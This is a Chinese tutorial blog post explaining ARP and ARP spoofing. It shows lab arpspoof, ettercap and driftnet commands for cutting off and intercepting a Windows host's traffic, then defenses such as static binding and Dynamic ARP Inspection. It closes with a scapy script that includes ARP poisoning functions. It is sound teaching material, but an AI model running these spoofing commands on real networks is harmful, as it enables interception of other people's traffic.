网站首页 > 技术教程 正文
文章来源:知了堂冯老师原创
知了小姐姐今天又来给大家送干货啦!
1.回顾
ARP协议
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址,说白了就是将IP地址转化为MAC地址。
2.ARP缓存
如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的
ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存
3.ARP协议安全问题
ARP协议在设计存在着什么安全问题? ARP广播请求/应答 ARP缓存
ARP欺骗 (ARP Spoofing) 发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。
4.ARP攻击原理
PC1和PC2正常通信的时候,会双方会记录对方的IP和MAC地址的映射,就是生成ARP缓存表,当PC1信息发送至交换机端口1的时候再转发到PC2,交换机同样会记录MAC1,生成一条MAC1和端口1的映射,之后交换机可以跟MAC桢的目的MAC进行端口转发。
如果现在有一台PC3,当PC1和PC2建立关系的时候,PC3处于监听状态,也就是会把广播包给丢弃,但PC3同样也可以把包抓起,并回复虚假包,告诉PC1,我是PC2,那么PC1就收到了两条PC2的回应包(一个真的,一个假的),PC1不知道谁是真谁是假,所以PC3就可以连续发包,覆盖掉真正的PC2的包,与PC1建立联系,进行ARP欺骗
5.欺骗实战
5.1断网攻击
实验准备
攻击机:kali ip:192.168.2.135
靶机 :win10 ip:192.168.2.196 网关:192.168.2.1
攻击机发起攻击 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1
5.2 流量截获
实验准备
攻击机:kali ip:192.168.2.135
靶机 :win10 ip:192.168.2.196 网关:192.168.2.1
攻击机发起攻击
arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.1 目标主机网关192.168.2.196
echo 1 >> /proc/sys/net/ipv4/ip_forward
用ettercap命令进行嗅探 -T 文本模式 -q 安静模式
-M 中间人攻击 ettercap -T -q -M ARP /192.168.2.1// ///
用driftnet进行流量监控靶机访问页面, 显示图片 driftnet -i eth0
6.防御
6.1静态绑定关键主机的IP地址与MAC地址映射关系
网关/关键服务器 "arp -s IP地址 MAC地址 类型"
6.2使用相应的ARP防范工具
ARP防火墙
6.3使用VLAN虚拟子网细分网络拓扑
6.4加密传输数据以降低ARP欺骗攻击的危害后果
Win 7下直接运行cmd,arp -s会出现下面的错误提示:
ARP 项删除失败: 请求的操作需要提升。
ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。
(英文版提示:The ARP entry addition failed: Access is denied. )
如何解决呢?
运行arp -s需要用管理员身份运行,
进入windowssystem32文件夹找到cmd.exe,右键“以管理员身份运行”,接下来具体做法是:
1、先运行:netsh i i showin 找到正在使用的网卡idx号
2、然后运行:netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48就可以进行绑定了,这里11是idx号,后面是ip地址与物理地址。
3、输入 arp -a查看
在Win7用ARP -D并不能完全的删除绑定
必须使用
netsh -c "i i" delete neighborsIDX (IDX改为相应的数字)
才可删除MAC地址绑定
?
6.5动态ARP检测
动态 ARP 检测(DAI)可用来验证网络中的 ARP 包,会拦截、记录并丢弃带有无效 IP-MAC 地址映射的 ARP 包,可以保护网络免受中间人攻击的影响。动态 ARP 检测课确保只允许有效的 ARP 请求和回应被转发。
配置步骤为:
1在一个或多客户VLAN 上启用:
switch(config)#ip arp inspection vlan vlan-range
在该命令中,可指定单个 VLAN ID ,用连字符分隔的 VLAN ID 范围或用逗号分隔的 VLAN ID 列表。
2将端口指定为可信。
switch(config)#interface type mod/numswitch(config-if)#ip arp inspection trust
3验证配置
switch#show ip arp inspection vlan vlan-id
7.工具编写
#coding=utf-8
from scapy.all import *
import sys
import os
class ar:
#mac地址获取
def get_mac(self,ip_address):
try:
#发包获取mac
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2)
except Exception as e:
print(e)
else:
for send,rcv in ans:
print(rcv[ARP].psrc+"---->"+rcv[Ether].src)
return rcv[Ether].src
pass
#中断arp攻击
def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
print("[-] Restoring target ……")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac))
# os.kill(os.getpid(),signal.SIGINT)
pass
#arp攻击
def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
try:
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac))
except KeyboardInterrupt:
restore_target()
pass
def main():
#网卡
interface="eth0"
#目标ip
target_ip="192.168.75.11"
#网卡ip
gateway_ip="192.168.75.1"
packet_count=1000
conf.iface = interface
conf.verb =0
arp=ar()
#获取网卡mac
gateway_mac=arp.get_mac(gateway_ip)
if gateway_mac ==None:
print("[!] Failed to get target MAC. Exiting.")
else:
print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac))
#获取目标mac
target_mac=arp.get_mac(target_ip)
if target_mac==None:
print("[!] Failed to get target MAC Exiting.")
else:
print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac))
#arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac)
arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)
if __name__=="__main__":
main()
今天的干货分享就到这里啦,想要获取更多免费干货资源,私信知了小姐姐哈。
猜你喜欢
- 2024-11-24 什么是ARP欺骗
- 2024-11-24 网络小知识-浅谈ARP协议、ARP攻击及ARP攻击防御
- 2024-11-24 这10个比较好用的服务器管理软件你都知道吗?
- 2024-11-24 学网络有窍门!一分钟了解ARP欺骗攻击
- 2024-11-24 大神教你如何使用arptables防火墙在数据链路层进行网络安全隔离
- 2024-11-24 win10怎么开启arp防火墙「系统天地」
- 2024-11-24 惊心动魄的ARP攻击维护手记
- 2024-11-24 记者拿自己手机做测试 免费WiFi 真的有漏洞
- 2024-11-24 从入门到精通:WiFi渗透哪家强?(2)
- 2024-11-24 04、 网络层概述
你 发表评论:
欢迎- 最近发表
-
- Win10 TH2正式版官方ESD映像转换ISO镜像方法详解
- 使用iso镜像升级到Windows 10的步骤
- macOS Ventura 13.2 (22D49) Boot ISO 原版可引导镜像
- 安利一个用ISO镜像文件制作引导U盘的的小工具RUFUS
- CentOS 7使用ISO镜像配置本地yum源
- 用于x86平台的安卓9.0 ISO镜像发布下载:通吃I/A/N、完全免费
- AlmaLinux 9.6发布:升级工具、初步支持IBM Power虚拟化技术
- Rufus写入工具简洁介绍与教程(写入模式)
- 新硬件也能安装使用了,Edge版Linux Mint 21.3镜像发布
- 开源工程师:Ubuntu应该抛弃32位ISO镜像
- 标签列表
-
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)
本文暂时没有评论,来添加一个吧(●'◡'●)